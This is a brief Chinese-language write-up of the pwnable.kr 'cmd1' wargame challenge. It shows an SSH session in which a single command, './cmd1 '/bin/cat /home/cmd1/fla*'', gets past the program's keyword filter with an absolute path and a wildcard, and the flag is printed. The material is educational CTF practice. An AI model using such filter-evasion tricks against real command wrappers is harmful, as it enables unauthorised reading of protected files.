太简单的一道题目了,直接给题解
root@mypwn:/ctf/work/pwnable.kr# ssh cmd1@pwnable.kr -p2222
cmd1@pwnable.kr's password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Wed Jan 1 20:02:21 2020 from 120.84.12.64
cmd1@prowl:~$ ./cmd1 '/bin/cat /home/cmd1/fla*'
mommy now I get what PATH environment is for :)
cmd1@prowl:~$